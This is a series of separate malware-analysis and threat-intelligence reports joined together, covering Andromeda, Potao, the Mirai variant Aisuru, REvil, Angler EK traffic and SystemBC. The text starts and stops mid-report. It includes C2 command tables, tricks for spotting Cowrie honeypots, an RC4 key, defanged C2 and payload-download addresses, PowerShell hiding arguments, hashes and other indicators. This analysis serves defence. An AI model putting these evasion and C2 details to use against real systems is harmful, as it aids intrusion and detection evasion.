hash excluding the first DWORD, which serves as a checksum. If the hash equals this excluded DWORD, it proceeds to decrypt the message using the 'id' value as the RC4 key. Next, it decodes the base64 string and obtains a plain text message. Received messages have the following structure: ```c struct RecvBlock { uint8_t cmd_id; uint32_t tid; char cmd_param[]; }; ``` According to the communicated cmd_id, the bot carries out a designated command which could be any number from the following: 1, 2, 3, 4, 5, 6, 9. In versions prior to 2.09, the bot is capable of performing all seven tasks. But in versions 2.09 and 2.10, it discards commands 4 and 5. | cmd_id | Task | Description | |--------|------|-------------| | 1 | Download EXE | Using the domain provided in the command_parameter, the bot downloads an exe, saves it in the temp folder with a random name, and executes it. | | 2 | Install plug-in | Using the domain provided in the command_parameter, the bot installs and loads plug-ins. | | 3 | Update bot | Using the domain provided in the command_parameter, the bot gets the exe file to update itself. If a file named ‘Volume Serial Number’ exists in the registry, the bot drops the update in the temp folder and gives it a random name. Otherwise, the file is dropped in the current directory. This task is followed by cmd_id=9, which kills the older bot. | | 4 | Install DLL | Using the domain provided in the command_parameter, the bot downloads a DLL into the %alluserprofile% folder with a random name and .dat extension. | | 5 | Delete DLLs | The DLL loaded in cmd_id=4 is uninstalled. | | 6 | Delete plug-ins | The plug-ins loaded in cmd_id=3 are uninstalled. | | 9 | Kill bot | All threads are suspended and the bot is uninstalled. | It is interesting to note that the cmd_id value changes a little in versions 2.09 and 2.10. As a result, the bot first downloads the plug-in and later finds three plug-in exports, aStart, aUpdate, and aReport, using a call to the GetProcAddress API. To summarize, Andromeda normally spreads via exploit kits located on compromised websites. The primary sample is packed and drops the loader after the unpacking stage. In the earlier versions of the bot, the loader contains anti-VM and anti-analysis tricks. In all versions, the loader decrypts the payload and resolves APIs for indirect calls in the payload. As a result, using an anti-API hooking trick, the loader saves the first instruction of the API call into memory and jumps to the second instruction. In the last two versions of the bot (2.09 and 2.10), the payload contains anti-VM and anti-analysis features. In version 2.07 and later versions, the payload leverages an inline hooking technique and hooks selected APIs. In all versions, the bot steals information from the compromised system, sends the information to the server (after encryption), and waits for a command from the server. Upon receiving a command from the server, the bot acts accordingly, installing plug-ins and downloading other malware. Finally, the bot sends a report about its mission to the server. ## Side Note It has been a while since the last version of Andromeda was released. We have been waiting a long time for a new variant to emerge, but Reuters reported recently: 'National police in Belarus, working with the U.S. Federal Bureau of Investigation, said they had arrested a citizen of Belarus on suspicion of selling malicious software who they described as administrator of the Andromeda network.' Based on that, we can tentatively call this the end of the Andromeda era, and conclude that there won't be any further releases. ## Conclusion From 2011 to 2015, Andromeda kept analysts busy with its compelling features and functionality, and it remains among the most prevalent malware families today. Over the course of four years, five major versions were released, each new version being more complex than its predecessor. This guaranteed that Andromeda remained a sophisticated threat. A flexible C&C provided a wide range of functionality and efficiency, increasing the power of the threat by installing various modules. Meanwhile, it integrated several RC4 keys to encrypt data for C&C communications, thus making detection a significantly more complex challenge. Fortunately, however, analysts have become sufficiently familiar with Andromeda's ecosystem over the years to learn how to navigate all of its challenges. ## Sample Information **Version 2.06** MD5: 73564f834fd0f61c8b5d67b1dae19209 SHA256: 4ad4752a0dcaf3bb7dd3d03778a149ef1cf6a8237b21abcb525b9176c003ac3 Fortinet detection name: W32/Kryptik.AFJS!tr **Version 2.07** MD5: d7c00d17e7a36987a359d77db4568df0 SHA256: 44950952892d394e5cbe9dcc7a0db0135a21027a0bf937ed371bb6b8565ff678 Fortinet detection name: W32/Injector.ZVR!tr **Version 2.08** MD5: b4d37eff59a820d9be2db1ac23fe056e SHA256: 92d25f2feb6ca7b3e0d921ace8560160e1bfccb0beeb6b27f914a5930a33e316 Fortinet detection name: W32/Tepfer.ASYP!tr.pws **Version 2.09** MD5: 3f2762d18c1abc67e21a7f9ad4fa67fd SHA256: 2f44d884c9d358130050a6d4f89248a314b6c02d40b5c3206e86ddb834e928f6 Fortinet detection name: W32/BLDZ!tr **Version 2.10** MD5: fb0a6857c15a1f596494a28c3cf7379d SHA256: 73802eaa46b603575216fb212bcc18c895f4c03b47c9706cde85368c0334e0cd Fortinet detection name: W32/Malicious_Behavior.VEX
# Operation Potao Express: Analysis of a Cyber-Espionage Toolkit Operation Potao Express involves attackers spying on high-value targets in Ukraine, Russia, and Belarus, focusing on their TrueCrypt-encrypted data. We presented our initial findings based on research into the Win32/Potao malware family in June during our CCCC 2015 presentation in Copenhagen. Today, we are releasing the full whitepaper on the Potao malware with additional findings, the cyberespionage campaigns where it was employed, and its connection to a backdoor in the form of a modified version of the TrueCrypt encryption software. Like BlackEnergy, the malware used by the so-called Sandworm APT group (also known as Quedagh), Potao is an example of targeted espionage malware directed mostly at targets in Ukraine and several other post-Soviet countries, including Russia, Georgia, and Belarus. ## Attack Timeline The attacks conducted using the Win32/Potao malware family span the past five years, with the first detections dating back to 2011. The attackers remain active, with the most recent infiltration attempts detected by ESET in July 2015. Among the victims identified, the most notable high-value targets include Ukrainian government and military entities and one of the major Ukrainian news agencies. The malware was also used to spy on members of MMM, a Ponzi scheme popular in Russia and Ukraine. ## Malware Techniques When the criminals shifted their focus from attacking targets in Russia to others in Ukraine, they began sending personalized SMS messages to lure potential victims to landing pages hosting the malware, disguised as postal tracking sites. Win32/Potao does not employ any exploits and isn’t particularly technically advanced. However, it contains interesting techniques that effectively achieve its goals, such as spreading via USB drives and disguising executables as Word and Excel documents. ## Trojanized TrueCrypt An (A)PT malware family that has gone relatively unnoticed for five years and has been used to spy on Ukrainian governmental and military targets is certainly interesting. However, the most attention-grabbing discovery was the connection to the popular open-source encryption software, TrueCrypt. The website truecryptrussia.ru has been serving modified versions of the encryption software that included a backdoor to selected targets. Clean versions of the application are served to normal visitors. ESET detects the trojanized TrueCrypt as Win32/FakeTC. TrueCrypt Russia’s domain was also used as a C&C server for the malware. The connection to Win32/Potao, which is a different malware family from Win32/FakeTC, is that FakeTC has been used to deliver Potao to victims’ systems in several cases. FakeTC is not merely an infection vector for Potao but a fully functional and dangerous backdoor designed to exfiltrate files from the espionage victims’ encrypted drives. In addition to selective targeting, the backdoor code contained triggers that would only activate the malicious data-stealing functionality for active, long-term TrueCrypt users. These factors contributed to the malware’s going unnoticed for such a long time. Further details on both Win32/Potao and Win32/FakeTC, including a technical analysis of the malware, description of plugins, infection vectors, C&C communication protocol, and other spreading campaigns not mentioned in this post are included in our comprehensive whitepaper. Indicators of Compromise (IOC) that can be used to identify an infection can be found in the whitepaper or on GitHub.
# New Mirai Variant Aisuru Detects Cowrie Opensource Honeypots A well-known honeypot used by malware researchers has been compromised by an evolution in the IoT botnet, Mirai. The new variant, named Aisuru, was first identified by researchers in Avira’s IoT Labs. The research team at Avira has followed the evolution of the Mirai botnet that caused so much disruption to internet services in 2017: from its HolyMirai re-incarnation, through its Corona phase, and now into a complete new variant, Aisuru. Aisuru is the first variant discovered with the capability to detect one of the most popular open-source honeypot projects, Cowrie. Although open-source security projects are very worthwhile, this evolution is further evidence that they cannot be relied upon to provide full protection. Hamidreza Ebtehaj, specialist researcher at Avira’s IoT Labs, takes a deep dive into this new, and up until now, previously unidentified variant of Mirai. ## Introducing Aisuru In this article, we will analyze the newly identified Mirai variant and describe the honeypot detection methods that occur during Aisuru’s scanning phase. In traditional Mirai, the scanning phase happens in three steps: 1. Scans the internet for open ports (mostly Telnet and in some cases, SSH). 2. When an open port is found, it tries to brute-force the login credentials. 3. After a successful guess, it infects the new target by employing various techniques. However, this new sample found in Avira’s IoT Labs has an additional step prior to infection: it checks if the target is a true device or a honeypot. If it identifies a honeypot, the infection operation is terminated, and the honeypot details are sent to the C&C server. The information obtained by this reconnaissance can be used later to avoid future interaction with the honeypot or for a variety of other uses. This honeypot detection mechanism should not be confused with honeypot evasion techniques. Honeypot evasion techniques have been used for a long time and are still common. Such techniques are briefly reviewed in the next section before we move on to an analysis of the main sample. ## A Brief Review on Honeypot Evasion Techniques Honeypot evasion techniques are a set of passive methods designed to prevent the execution of malware when it is in a honeypot system. These methods are designed to prevent the disclosure of malware samples to security firms. A multi-layered infection vector is the most common evasion technique and is used by various malware, including variants of Mirai and Hajime. This method leverages the fact that most common honeypots are simulation-based. They are incapable of executing payloads by infecting a device via a malware downloader first. This way, the downloader fails to run on a honeypot, and the actual malware will not be downloaded or exposed. However, the malware downloader will effectively operate on a real device and infect it. Below is an example of a malware downloader evading a honeypot. The code is self-explanatory and does not require any further investigation. ## Analysis of the Aisuru Bot Aisuru bot, the new variant of Mirai, can detect and report back honeypots to its C&C. For that purpose, it has a function named “init_honeypot_report.” This function stores the honeypot address and port in a string of the form “IP:port” and sends it to the C&C server on port 5768, where a service runs to gather reconnaissance information. This function is triggered when one of three conditions are met: 1. The device name is “LocalHost.” 2. Any service on the device is started on Jun 22nd or Jun 23rd. 3. A user exists on the device named “richard.” ### First Condition: The Existence of “@LocalHost:]” When a shell is invoked, a prompt is the first thing displayed on every line. A user prompt looks like this: `user@computername:~$`. Some honeypots use LocalHost as a default computer name when being set up, while real devices are using more specific names. Logging into a computer named “LocalHost” indicates the existence of a honeypot. ### Second Condition: The Existence of a Service Started on Jun 22nd or Jun 23rd The existence of “Jun22” or “Jun23” in response to any commands sent to the device indicates the presence of a Cowrie honeypot. Cowrie is a well-known open-source Telnet and SSH honeypot project. Looking at Cowrie’s source code, we observe that in response to the “ps” command (process snapshot), we will receive a list of services that are all started on “Jun22” or “Jun23.” In reality, there is little chance a device was rebooted or started on these two specific dates. ### Third Condition: When a User Exists on the Device Named “Richard” Looking at the last condition, honeypot detection is triggered when a string at the index of 162 of the strings table is found in response to any issued commands. In the received versions of Aisuru bot, the strings table is initialized with 164 encrypted strings. The encryption algorithm used in Aisuru botnet is simple but unique. It has never been used in any other Mirai variants before and does not exist in the original Mirai. The decryptor is implemented by having three iterations on strings. In each iteration, the ASCII code of each character is subtracted by one, and the order of characters in the string is reversed. With a simple decryption script, we can unveil the list of strings, particularly the string at index 162. The string at the index 162 of Aisuru botnet is “richard.” Another look into the list of users at Cowrie honeypot shows that a user exists in the Cowrie honeypot named “richard.” ## Conclusion Cowrie is one of the best honeypot projects ever, with over 3000 stars at its GitHub repository and thousands of installations. The smarter generation of IoT malware, particularly the Aisuru botnet, proves that open-source security projects in the cybersecurity space, although very worthwhile, can fail in providing full protection. At the Avira IoT Lab, we have developed our own honeypot and we regularly maintain it to ensure up-to-date protection for our customers. Our research team monitors such new malware families or variants and provides detections for them. Integrating Avira SafeThings and anti-malware technologies can help protect customers from such attacks. ## Malware Hashes - bf260b0b7c95cfdcc53b12bbda6c88fa5ec8552400799dacd41cbdc969e9f145 - 84c958db6a042d0d18d35485670237358fd38cdd17acfd46c528d66e90d0b5d1 - e0c7460e21fadd107a1d044b25a3c65c93e554e78dec8a85488a83f2bb86908e Avira Protection Labs is the heart of Avira’s threat detection and protection unit. The researchers at work in the Labs are some of the most qualified and skilled anti-malware researchers in the security industry. They conduct highly advanced research to provide the best detection and protection to nearly a billion people worldwide.
# Deep Analysis of REvil Ransomware **Executive Summary** REvil 랜섬웨어는 2019년 4월에 처음 등장하여 초기 오라클 웹로직 취약점 (CVE-2019–2725)을 이용하여 다양한 환경에 침투를 시도했다. 이후 Pulse Secure VPN 취약점 (CVE-2019–11510), FortiOS VPN 취약점 (CVE-2018–13379) 및 RDP 취약점을 통해 기업 환경에 침투하여 많은 기업을 감염시켰다. 최근에는 다크웹에서 유명한 악성코드인 Gootkit, QBot, IcedId와 같은 다운로드 및 로드에 특화된 악성코드에 의해 실행된다. **주요 특징** - 암호화 키 교환 시 RSA 대신 타원 곡선 기반 암호(Elliptic Curve Cryptography)를 사용하며, 파일 암호화에는 Salsa20 알고리즘을 이용한다. - 로컬 드라이브 내 파일뿐만 아니라 원격 드라이브 및 공유 드라이브 내 파일도 암호화하며, IOCP 기법을 사용한 비동기 I/O 방식으로 암호화 속도를 높인다. - 2019년 12월부터 자체 Leak 사이트를 운영하여 피해 기업으로부터 탈취한 데이터를 게시하며, 협상에 응하지 않을 시 데이터를 공개하는 이중 갈취 전략을 사용한다. - 비트코인을 통해 몸값을 지불받다가 2020년 4월부터 모네로로 변경하였고, 최근에는 피해자가 비트코인으로 지불을 원할 시 10% 추가 금액을 낼 경우 비트코인으로도 지불받는다. - 2021년 2월부터는 기존 Leak 사이트를 통한 이중 갈취 전략에서 홈페이지 DDoS 공격 및 피해 기업의 비즈니스 파트너에게 VoIP로 연락하는 협박 방식을 추가하겠다고 언급했다. **최근 이슈** - Darkside의 Colonial Pipeline 공격, REvil 랜섬웨어의 JBS 공격 이후 미국이 랜섬웨어 공격에 강력하게 대처하겠다고 발표했으나, REvil은 오히려 미국에 대한 공격을 멈추지 않고 더욱 강화하겠다고 언급했다. - 현재까지 REvil 랜섬웨어 조직은 Darkside 랜섬웨어 조직, LV 랜섬웨어 조직과 Prometheus 조직까지 최소 3개의 랜섬웨어 조직과 연관되어 있다. **Malware Information** - **Hash**: 2075566e7855679d66705741dabe82b4 - **File Type**: Win32 EXE file - **Date**: 2021–03–21 21:46:43 **Detailed Analysis** 1. **RC4 알고리즘을 이용한 데이터 복호화** REvil 랜섬웨어는 RC4 알고리즘을 이용하여 악성코드 내부에 포함된 Win32 API 함수 주소, 설정 정보 및 문자열을 복호화하고 악성 행위에 사용한다. 악성코드마다 사용되는 key는 상이하다. **RC4 key**: 9UAo1qQ8ce4w13Jv36xcPgMz6NCykVjs 2. **상세 옵션을 통한 세부 기능 설정** 복호화된 정보 중 악성 행위에 필요한 19개의 상세 옵션이 JSON 형태로 표현되어 있다. 분석한 샘플인 2.05 버전의 각 옵션별 기능은 아래와 같다. 3. **암호화 사전 작업** REvil 랜섬웨어는 기존 랜섬웨어 그룹들이 주로 사용하는 RSA와 AES 알고리즘 조합을 사용하지 않고, ECC Diffie Hellman 키 교환과 AES-256이 결합된 ECIES 공개키 알고리즘과 Salsa20 비밀키 알고리즘으로 파일 및 데이터를 암호화한다. 이를 위해 악성코드 내에 하드코딩된 key를 이용하여 암호화에 필요한 구조체 데이터를 사전에 생성하며, 이를 레지스트리에 저장하여 재실행되어도 기존에 생성된 key를 사용함으로써 해당 값이 바뀌지 않도록 한다. 사용되는 레지스트리는 REvil 랜섬웨어 버전별로 상이하다. 4. **감염기기 정보 수집** 감염된 기기의 정보를 수집한다. 수집 목록은 아래와 같다. - 감염기기 식별 값 (UID) - 암호화 확장자 (Extension) - 유저명 - 컴퓨터명 - 현재 기기의 도메인명 - 현재 지역 및 사용 언어 - 현재 유저의 사용 언어, 시스템의 기본 언어, 키보드 layout을 수집 후 CIS 국가 여부 확인 - 운영체제 버전 - 디스크 별 전체 용량 및 사용 가능한 용량 - 컴퓨터 x86, x64 여부 5. **CIS 국가 여부 확인** 상세 옵션 중 dbg 옵션이 False일 경우, 유저 및 시스템 언어, 키보드 layout을 확인하여 CIS(독립국가연합) 지역의 기기일 경우 악성 행위를 수행하지 않는다. 반면 dbg 옵션이 True일 경우 공격자들의 디버깅용으로 실행되며 언어 및 layout을 확인하지 않는다. 6. **파라미터를 통한 실행 모드 지정** - `-nolan`: 네트워크 공유 드라이브는 감염 대상에서 제외 - `-nolocal`: 로컬 드라이브는 감염 대상에서 제외 - `-smode`: 윈도우 계정 비밀번호 변경 및 안전모드로 재부팅 - `-silent`: 특정 서비스, 프로세스 종료 및 볼륨 섀도우 카피 삭제 수행하지 않음 - `-path`: 특정 경로에 대해서만 암호화 진행 - `-fast`: 빠른 암호화 모드 - `-full`: 전체 암호화 모드 7. **동작 과정** - 뮤텍스 생성: 악성코드의 중복 실행 방지를 위해 특정 문자열을 이용하여 뮤텍스를 생성한다. - 상세 옵션에 따른 행위 수행: 유저가 관리자 권한을 갖고 있지만, 프로세스가 관리자 권한을 갖지 않은 경우 프로세스를 재실행한다. - 암호화 작업 전 기타 행위: 강제로 휴지통 비우기, 프로세스의 CPU 스케줄링 우선순위 상승, SeDebugPrivilege 권한 할당 등. 8. **파일 암호화 Thread** - Input/output completion port (IOCP)를 이용한 암호화 작업 수행. - ECIES()를 이용한 파일 암호화. - 암호화 대상에서 특정 파일, 폴더 및 확장자 제외. 9. **랜섬노트 생성** - 상세 옵션 및 기존에 생성한 랜덤 확장자를 이용하여 폴더마다 랜섬노트를 생성한다. **Conclusion** REvil 랜섬웨어는 2019년 4월에 최초 등장한 이후, 약 2년이 넘는 시간 동안 다크웹 내 RaaS(Ransomware as a Service) 시장에서 최정상의 자리를 지키고 있다. 지속적인 버전 업데이트, 다양한 기능 및 상세 옵션을 통한 쉬운 커스터마이징이 가능하기 때문이다. 다수의 구매자들(또는 Operator)에 의해 개인부터 JBS와 같은 대형 기업 공격에까지 REvil 랜섬웨어를 이용한 광범위한 공격이 이루어지고 있다. 랜섬웨어의 코드는 2년 동안 크게 바뀌지 않았지만, 이를 사용하는 공격자들이 많은 만큼 매우 다양한 최초 침투 경로, 공격 도구로 배포되고 있다. 따라서 랜섬웨어 자체에 대해서만 대응하는 것이 아닌, 전체적인 공격 시나리오를 이해하고 자신 또는 기업의 취약한 부분을 확인하여 점검 및 보완할 수 있어야 한다.
# Pseudo-Darkleech Angler EK from 185.118.66.154 Sends Bedep/CryptXXX ## Associated Files: - **ZIP archive of the pcaps:** 2016-05-09-pseudo-Darkleech-Angler-EK-pcaps.zip (4.4 MB, 4,390,349 bytes) - 2016-05-09-pseudo-Darkleech-Angler-EK-on-a-VM.pcap (780,111 bytes) - 2016-05-09-pseudo-Darkleech-Angler-EK-on-a-normal-host-sends-Bedep-CryptXXX.pcap (4,114,289 bytes) - **ZIP archive of the malware and artifacts:** 2016-05-09-pseudo-Darkleech-Angler-EK-malware-and-artifacts.zip (660.8 kB, 660,816 bytes) - 2016-05-09-CryptXXX-decrypt-instructions.bmp (2,023,254 bytes) - 2016-05-09-CryptXXX-decrypt-instructions.html (14,193 bytes) - 2016-05-09-CryptXXX-decrypt-instructions.txt (1,755 bytes) - 2016-05-09-CryptXXX-ransomware.dll (266,240 bytes) - 2016-05-09-click-fraud-malware.dll (910,496 bytes) - 2016-05-09-page-from-justmyvegas.com-with-pseudo-Darkleech-script.txt (16,848 bytes) - 2016-05-09-pseudo-Darkleech-Angler-EK-flash-exploit.swf (66,870 bytes) - 2016-05-09-pseudo-Darkleech-Angler-EK-landing-page.txt (169,412 bytes) ## Notes: On Friday 2016-04-29, I saw svchost.exe (actually: rundll32.exe) in the same folder as the CryptXXX ransomware. It was used to run the CryptXXX .dll file. By Monday 2016-05-02, things were back to normal, with just the CryptXXX .dll file by itself in the folder. A week later (Monday 2016-05-09), I see svchost.exe again, dropped in the same folder as the CryptXXX .dll file. Today's CryptXXX behavior is slightly different than before, and the decryption instructions are formatted a little differently. Today's Click-fraud malware: `C:\ProgramData\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}\d3d10.dll` Today's CryptXXX ransomware: `C:\Users\[username]\AppData\Local\Temp\{98D13E48-E0E4-429B-9E7B-633FD7689461}\api-ms-win-system-framebuf-l1-1-0.dll` ## Traffic - **Associated Domains:** - 185.118.66.154 port 80 - tilewrigbaieru.gt-racer.co.uk - Angler EK - **Traffic Caused by Bedep:** - 82.141.230.141 port 80 - qfsfajslsdexerid.com - POST /blog.php - 104.193.252.241 port 80 - xqvyvibixozap.com - POST /blog_ajax.php - 104.193.252.241 port 80 - xqvyvibixozap.com - POST /include/class_bbcode_blog.php - 104.193.252.241 port 80 - xqvyvibixozap.com - POST /album.php - 104.193.252.241 port 80 - xqvyvibixozap.com - POST /forumdisplay.php - **Traffic Caused by CryptXXX:** - 217.23.13.153 port 443 - TCP traffic, custom encoding - 69.64.33.48 port 443 - TCP traffic, custom encoding - **Traffic Caused by Click-fraud Malware:** - 5.199.141.203 port 80 - ranetardinghap.com - GET /adsc.php?sid=1957 - 93.190.141.27 port 80 - cetinhechinhis.com - GET /adsc.php?sid=1957 - 95.211.205.218 port 80 - tedgeroatref.com - GET /adsc.php?sid=1957 - 104.193.252.236 port 80 - rerobloketbo.com - GET /adsc.php?sid=1957 - 162.244.34.11 port 80 - tonthishessici.com - GET /adsc.php?sid=1957 - 188.138.105.185 port 80 - kimpelasomasot.com - GET /adsc.php?sid=1957 ## Final Notes Once again, here are the associated files: - **ZIP archive of the pcaps:** 2016-05-09-pseudo-Darkleech-Angler-EK-pcaps.zip (4.4 MB, 4,390,349 bytes) - **ZIP archive of the malware and artifacts:** 2016-05-09-pseudo-Darkleech-Angler-EK-malware-and-artifacts.zip (660.8 kB, 660,816 bytes) ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website.
# SystemBC Being Used by Various Attackers SystemBC is a proxy malware that has been used by various attackers for the last few years. While it is recently distributed through SmokeLoader or Emotet, this malware has steadily been used in various ransomware attacks in the past. When an attacker attempts to access a certain address with malicious intent, the system can be used as a passage if the infected system utilizes SystemBC, which acts as a Proxy Bot. Because it can also act as a downloader to install additional malware externally, attackers can also use it to install additional payloads. ## Previous Distribution Cases SystemBC’s distribution using RIG exploit kit and Fallout exploit kit was first discovered in 2019. The initial version found in 2019 focused mainly on Socks5 Proxy features and had a small size. According to ProofPoint, which first discovered SystemBC, the developer of the malware had a history of selling it under the name “socks5 backconnect system.” SystemBC discovered in 2020 was used with Ryuk or Egregor in ransomware attacks. It was also the malware used by the DarkSide ransomware group, which used it to attack Colonial Pipeline, a U.S. pipeline company. Unlike ransomware distributed through exploit kits, web browsers, or spam emails, attackers using this type of malware install ransomware after dominating the company environment system, then demand money. In other words, they dominate the internal network using tools such as Cobalt Strike after the initial infiltration and infect various systems within a company by installing ransomware. The role of SystemBC in such an attack is not known in detail. Yet as it can act as a proxy and install additional payloads after downloading them, it might download and execute malicious payloads or be installed in internal networks to perform the role of a proxy. In fact, according to a report made by F-Secure that found an attack using SystemBC, the malware was used for downloading and running PsExec and scripts for lateral movement attacks. ## Recent Distribution Cases In March 2022, it was found that SystemBC was being installed as an additional payload by Emotet. Emotet is a banking malware that installs additional modules or malware strains to steal credentials from the infected system. Normally, the attackers install Cobalt Strike through Emotet to dominate the infected system, but recently, SystemBC is also being distributed. > #Emotet E5 Update – Within the last several hours, we have seen some bots on the Epoch 5 botnet begin to drop SystemBC now as a module and execute it. This is the first drop beyond Cobalt Strike that we have seen since Emotet returned. This is a significant change 1/x — Cryptolaemus (@Cryptolaemus1) March 10, 2022 According to AhnLab’s ASD infrastructure, most of the recent cases involving SystemBC have the malware installed by SmokeLoader. SmokeLoader operates by being injected into explorer.exe (Windows Explorer that is currently being run) and can install additional modules or malware. SmokeLoader is recently installed through Muldrop, an NSIS dropper malware distributed through malicious websites disguised as cracks and serial download pages of commercial software. Besides Muldrop, CryptBot and PseudoManuscrypt are also distributed in such a method. ## Analysis of SystemBC SystemBC has a number of variants. The exact order is not confirmed, but the variants are categorized based on their additional features. Unlike Type 1, which is an early version and can only update itself, Type 2 can run scripts such as Batch, VBS, and PowerShell after downloading them. It can also download malware in DLL and Shellcode forms to execute them in memory. In addition, the malware can communicate with the C&C server through the Tor network. Type 3, the second variant, lacks certain features including being able to use the Tor network and execute DLL and Shellcode after downloading them. This post will discuss the analysis of SystemBC type that can currently communicate with the C&C server. To be more precise, it is an analysis of Type 2, which has most of the features of Type 1 and Type 3. The malware was found to be installed through RedLine, packed with the packer that was used for the type distributed through SmokeLoader. SystemBC known to be installed through Emotet is Type 3. ### Initial Routine When SystemBC is initially run, it first checks if the argument is “start.” It will not have an argument when it is executed for the first time. In this case, it checks the windows of the currently running processes. If there is a process with “Microsoft” as the window name and “win32app” as the class name, it will send the message “WM_COPYDATA” and goes dormant for a certain amount of time. Afterward, it deletes the file for the process. SystemBC first registered a window class and created a window. The name of the window and class is “Microsoft” and “win32app” respectively. The message handling function registered at this moment deletes and terminates a process registered as “certain random string” when it receives the message “WM_COPYDATA.” In summary, SystemBC checks for the SystemBC process that has been running when it is executed for the first time. If there is one, it sends a message to terminate the old SystemBC. The previous SystemBC that received the message deletes the task it is registered to and terminates itself, and SystemBC that was executed later deletes the binary of the previous one. It then scans the process named “a2guard.exe,” which is assumed to be a product of Emisoft. If the process is running, it terminates itself and will no longer perform malicious behaviors. Lastly, it copies the binary of the currently running SystemBC as a random name in %ALLUSERSPROFILE% (in the random folder of the ProgramData path) and registers it as a task named “certain random string” again. The process uses COM objects, TaskScheduler class, and methods of the Task class. The task starts 2 minutes after the current time and is run every 2 minutes. The target that is executed is SystemBC and designates “start” as an argument. SystemBC can download payloads in exe form from the C&C server and run them. If the downloaded executable is SystemBC with the latest version, the process then becomes a binary update for SystemBC. ### C&C Communications SystemBC executed with the “start” argument attempts to communicate with the C&C server. It has the URL of the C&C server in the data section in XOR-encrypted form. The malware decrypts the C&C server address and port number before communicating with the C&C server. If it cannot access the first URL, it will attempt to communicate with the second one. The data shown below has a size of 0x64 byte. It first uses the 0x32 byte-sized RC4 key to RC4-encrypt the 0x32 byte in the back. The C&C server that received the data can decrypt the 0x32 byte-sized information of the infected system with the RC4 key of the first 0x32 byte. - C&C Server URL 1: 31.44.185[.]6:4001 - C&C Server URL 2: 31.44.185[.]11:4001 As shown below, SystemBC first collects the basic information of the infected system. When the currently running SystemBC process is executed with admin privilege (High Integrity Level or higher), Offset 0x34 among the following items is set as 0x2. If not, it is set as 0. | Offset | Size | Data | |--------|------|------| | +0x00 | 0x32 | RC4 key | | +0x32 | 0x02 | Windows ver. | | +0x34 | 0x01 | Admin privilege status (0x02) | | +0x35 | 0x01 | WOW64 availability | | +0x36 | 0x2A | User name | | +0x60 | 0x04 | Volume serial number | The encrypted data is then sent to the C&C server. SystemBC uses the Raw TCP socket to communicate with the C&C server. When the server receives information from the malware, it uses the same RC4 key to send the encrypted command data. The command currently received is 0xFFFF2B00. This means the malware received the data with the size of 0x002B. Decrypting the 0x002B-sized data following behind will reveal the token and URL. Since the command is 0xFFFF, the malware will run the files after downloading them from the URL. | Command | Secondary Command | Size | Feature | |---------|-------------------|------|---------| | 0xFF | 0xFF | Variable | Download payload | | 0xFF | 0xFE | 0x00 | Terminate | | 0x00 | - | Variable | Create a new Proxy for the target | Note that the exe malware downloaded currently is also SystemBC; this indicates that the command is for updating the binary. - Download URL: hxxp://michaelstefensson[.]com/supd/s.exe SystemBC uses Raw TCP socket again for HTTP communications. The following is a User-Agent string used for downloading binaries from the URL that was sent. ``` GET %s HTTP/1.0 Host: %s User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close ``` After the download is complete, the malware sends the result encrypted with RC4 to the C&C server. The data that will be sent include 0xFF (secondary command used for downloading payloads), 0x04 (data size that will be sent), and 0x07 (including the token value 0x04 byte that was sent earlier). The download URLs that were sent are categorized depending on the file extension and format. | Type | Extension | Format | Feature | |---------------------|-----------|--------|---------| | exe | exe | - | Self-update for SystemBC | | VBS script | .vbs | - | Run VBS script | | Batch script | .bat | - | Run Batch script | | Batch script | .cmd | - | Run Batch script | | Powershell script | .ps1 | - | Run Powershell script | | DLL | - | DLL | Load DLL in memory | | Shellcode | - | Encoded| Run Shellcode in memory | The malware creates normal files in the Temp path and registers the files in the task scheduler to run them. For Powershell scripts, it additionally uses command lines such as “-WindowStyle Hidden -ep bypass -file.” If the downloaded payload is DLL, it assigns memory and loads it to run as a new thread. If the “#” string is behind the URL sent from the C&C server, it calls the export function from the downloaded DLL. For Shellcode, the malware also runs it as a new thread going through the decoding routine. As a result, DLL and Shellcode are not created as files but run in the memory of SystemBC. ## TOR Communications Because the current analysis target does not have a Tor URL, the team will discuss a previous case where Tor network communication was possible. The malware in this case has the C&C server URLs encoded. If it cannot access both servers, it uses Tor to access another server. - C&C Server URL 1: admex175x[.]xyz:4044 - C&C Server URL 2: servx278x[.]xyz:4044 To do so, it accesses the following URLs to obtain a public IP address: - https://api.ipify.org/ - https://ip4.seeip.org/ SystemBC is known to utilize the mini-tor library to use the Tor network. It first goes through the reset process to access Tor. By randomly selecting one of the IP addresses of the hard-coded Authoritative Directory Server, it gets the Consensus data for the Tor network. Then it will start Tor communications based on the settings data it received. - C&C URL (Tor): dfhg72lymw7s3d7b[.]onion:4044 After normally accessing the Tor network, the malware will send the information of the infected system including the public IP address. This method is identical to other methods of using Raw TCP socket communications, except that it sends data by using the Tor network. So the malware will send the data encrypted with RC4 algorithm and receive C&C commands encrypted with the same key as in previous cases. ## SOCKS5 PROXY Besides downloader, the main features of SystemBC include being able to operate as Proxy Bot. If the attacker wants to use an infected system as Proxy Bot (using SystemBC of the infected system when accessing a certain address), a command to create proxies will be sent first. SystemBC creates a socket depending on the type when it receives a command to create proxies. The created socket will be managed by index. After the socket is created, the malware will create a new thread and connect to the address it received. The reason the attacker initially named the malware BackConnect is because SystemBC first connects to the attacker’s server instead of the attacker manually accessing SystemBC to attempt Socks5 proxy connection. Since SystemBC cannot be accessed externally if it is installed in the system of a private IP band, malware strains with the Proxy feature mainly use the Reverse Proxy method. Should the attacker send requests to a certain address later, they will send the created proxy socket with the assigned index. SystemBC will then send the data it received to the address. The data received will be sent to the C&C server through SystemBC. SystemBC thus acts as Proxy Bot, allowing the attacker to hide the IP when performing attacks. If the malware operates in the system that can access internal networks, the networks can be accessed by the external attacker through SystemBC. ## Comparison with Previous Versions The post discussed Type 2 which supports most of the features, but each type has minor variations in the features it supports. | Type | Recursive Execution Argument | Scan Emisoft product | Installation Path | Downloader feature | Support URL shortener .bit | |-------|------------------------------|----------------------|-------------------|--------------------|------------------------------| | Type 1| “Start2” | O | %ALLUSERSPROFILE%\[Random] | X (has only update feature) | O | | Type 2| “start” | O | %ALLUSERSPROFILE%\[Random] | Batch, VBS, PowerShell, DLL, Shellcode, and update | X | | Type 3| “start” | X | Current Path | Batch, VBS, PowerShell, and update | X | Type 1 supports the URL shortener “.bit.” The following settings data of the malware has the list of DNS servers besides C&C URL and port number. - C&C Server URL 1: db1.pushsecs[.]info:40690 - C&C Server URL 2: 